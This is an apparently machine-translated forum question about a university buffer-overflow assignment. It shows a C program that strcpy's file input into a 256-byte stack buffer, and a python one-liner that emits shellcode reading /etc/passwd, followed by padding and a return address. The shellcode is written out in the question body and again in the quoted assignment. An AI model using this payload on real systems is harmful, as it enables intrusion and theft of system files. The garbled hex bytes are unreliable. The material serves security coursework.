尝试代码注入

时间:2018-04-24 04:19:41

标签: c pointers code-injection buffer-overflow

我试图通过缓冲区溢出将下面显示的文件内容注入代码中。到目前为止,这是我的进展,我很乐意帮助完成这项任务。

我到了strcpy(缓冲区,输入)的segfaulting。有人知道我可以解决这个问题吗?我问,因为除了使用gets()注入代码之外,我想不出任何其他方法。

此外,我遇到了如何更改dataFile缓冲区地址的问题,如分配中所述

#include <stdio.h>
#include <stdlib.h>
#include <string.h>



void main(void){

        char *input = NULL;
        size_t length = 0;
        int size = 0;
        FILE *stream;
        char *dataFile = "hw11.data";

        stream = fopen(dataFile, "r");
        printf("before scan\n");

        char buffer[256];



        getline(&input, &length, stream); 

        printf("address: %p\n", buffer);

        printf("input: \n%s\n", input);


        strcpy(buffer, input);


        printf("output: \n%p\n", buffer);


}

下面的Hw11.data文件

  

python -c'打印   “\ XEB \ X3F \ X5F \ X80 \ X77 \ X0B \ X41 \ X48 \ X31 \ XC0 \ X04 \ X02 \ X48 \ X31 \ XF6 \ X0F \ X05 \ X66 \ X81 \ XEC \ XFF \ X0F \ X48 \ x8d \ X34 \ X24 \ X48 \ X89 \ xc7 \ X48 \ X31 \ XD2 \ X66 \ XBA \ XFF \ X0F \ X48 \ X31 \ XC0 \ X0F \ X05 \ X48 \ X31 \ XFF \ X40 \ X80 \ xc7 \ X01 \ X48 \ X89 \ XC2 \ X48 \ X31 \ XC0 \ X04 \ X01 \ X0F \ X05 \ X48 \ X31 \ XC0 \ X04 \ X3C \ X0F \ X05 \ xe8 \ XBC \ XFF \ XFF \ XFF \ X2F \ X65 \ X74 \ X63 \ X2F \ X70 \ X61 \ X73 \ X73 \ X77 \ 64 \ X41"   +“A”* 182 +“\ x7f \ xff \ xff \ xff \ xe0 \ x00”[:: - 1]'

这是给出的作业

  

对于此作业,您将编写一个加载注入的程序   我们在课堂上使用的代码。但是,您的程序必须阻止任何缓冲区   过低。规则:

     
      
  1. 数据文件名为hw11.data
  2.   
  3. 您的缓冲区必须是长度为256的静态数组
  4.   
  5. 您的代码必须显示缓冲区地址,输入数据和最终缓冲区内容。
  6.   
  7. 您必须更改数据文件中的地址以匹配缓冲区的地址。
  8.   
  9. 您的输出必须如下所示进行格式化(由于文本模式字符限制和内容,您的内容可能略有不同   地址变更):
  10.         

    缓冲区地址:0x7fffffffe000

         

    文件内容:&lt;'python -c'打印“\ xeb \ x3f \ x5f \ x80 \ x77 \ x0b \ x41 \ x48 \   x31 \ xc0 \ x04 \ x02 \ x48 \ x31 \ xf6 \ x0f \ x05 \ x66 \ x81 \ xec \ xff \ x0f \ x48 \ x8d \ x34 \   x24 \ x48 \ x89 \ xc7 \ x48 \ x31 \ xd2 \ x66 \ xba \ xff \ x0f \ x48 \ x31 \ xc0 \ x0f \ x05 \ x48 \   x31 \ xff \ x40 \ x80 \ xc7 \ x01 \ x48 \ x89 \ xc2 \ x48 \ x31 \ xc0 \ x04 \ x01 \ x0f \ x05 \ x48 \   x31 \ xc0 \ x04 \ x3c \ x0f \ x05 \ xe8 \ xbc \ xff \ xff \ xff \ x2f \ x65 \ x74 \ x63 \ x2f \ x70 \   x61 \ x73 \ x73 \ x77 \ x64 \ x41“+”A“* 182 +”\ x7f \   XFF \ XFF \ XFF \ xe0 \ X00" [:: - 1]”   &GT;

         

    缓冲内容:&lt;'python -c'打印“\ xeb \ x3f \ x5f \ x80 \ x77 \ x0b \ x41 \ x48 \   X31 \ XC0 \ X04 \ X02 \ X48 \ X31 \ XF6 \ X0F \ X05 \ X66 \ X81 \ XEC \ XFF \ X0F \ X48 \   x8d \ x34 \ x24 \ x48 \ x89 \ xc7 \ x48 \ x31 \ xd2 \ x66 \ xba \ xff \ x0f \ x48 \ x31 \ xc0 \   x0f \ x05 \ x48 \ x31 \ xff \ x40 \ x80 \ xc7 \ x01 \ x48 \ x89 \ xc2 \ x48 \ x31 \ xc0 \ x04 \   X01 \ X0F \ X05 \ X48 \ XPA ???&GT;

0 个答案:

没有答案